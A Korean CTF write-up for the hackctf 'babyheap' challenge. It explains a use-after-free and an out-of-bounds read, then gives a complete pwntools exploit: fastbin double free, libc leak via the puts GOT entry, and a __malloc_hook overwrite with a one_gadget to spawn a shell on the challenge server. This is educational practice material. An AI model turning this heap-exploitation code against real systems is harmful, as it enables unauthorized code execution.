전형적인 힙 메뉴이다.
malloc메뉴이다. malloc가능한 갯수가 6개로 한정되어있다.
free를 할때 배열을 초기화시키지 않음으로서 취약점이 발생한다,
show부부인다. 저기 if조건문이 자세히 보면 &&인 것을 볼 수 있다. 즉 oob가 발생하게된다.
익스 방법
1. fastbin크기의 청크 2개 할당(내용에 함수의 got주소도 같이 박아둔다.)
2. fastbin을 double free 함
3. 2번 과정에서 알아낼 수 있는 청크의 주소를 알아내서 oob를 통해 1번에서 박아둔 got주소를 출력해줌으로서 libc를 leak한다.
4, 다시 한번 malloc을 통해 fastbin에 들어가있는 청크를 가져온다. 그리고 그 청크의 fd에 malloc_hook 이전의 fastbin에 맞는 chunk의 주소를 저장해둔다.
5. malloc()으로 다시한번 할당하면서 malloc_hook을 one_gadget으로 덮는다.
6. double free를 통해 에러메시지를 출력하게 되면서 쉘을 딴다.
6번이 되는 이유는 https://lclang.tistory.com/165 여기서 확인할 수 있다.
from pwn import *
#p = process('./babyheap')
p = remote("ctf.j0n9hyun.xyz", 3030)
e = ELF('./babyheap')
l = ELF('./libc.so.6')
context.log_level="debug"
def malloc(size, content):
p.sendlineafter('> ','1')
p.sendlineafter('size: ',str(size))
p.sendlineafter('content: ',str(content))
def free(index):
p.sendlineafter('> ','2')
p.sendlineafter('index: ', str(index))
def show(index):
p.sendlineafter('> ','3')
p.sendlineafter('index: ', str(index))
size = 0x7f - 24
malloc(size,1)
malloc(size,'a' *8 + p64(e.got['puts']))
free(0)
free(1)
free(0)
show(0)
malloc_2 = u64(p.recv(4).ljust(8,'\x00'))
log.info('malloc_2 : ' + hex(malloc_2))
show(((malloc_2 + 24) - 0x602060)/8)
libc = u64(p.recv(6).ljust(8,'\x00')) - l.sym['puts']
log.info('libc : '+ hex(libc))
victim = libc + l.sym['__realloc_hook'] - 11 - 16
log.info('victim_chunk_ptr : ' + hex(victim))
malloc(size, p64(victim))
malloc(size,1)
malloc(size,1)
malloc(size, 'a' * 0x13 + p64(libc +0xf02a4))
free(1)
free(1)
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf] - j0n9hyun's secret (3) | 2019.09.13 |
---|---|
[hackctf] childfsb (0) | 2019.08.26 |
[hackctf] babyfsb (0) | 2019.08.25 |
[hackctf] 풍수지리설 (0) | 2019.08.20 |
[hackctf]World_best_encryption_tool (0) | 2019.07.22 |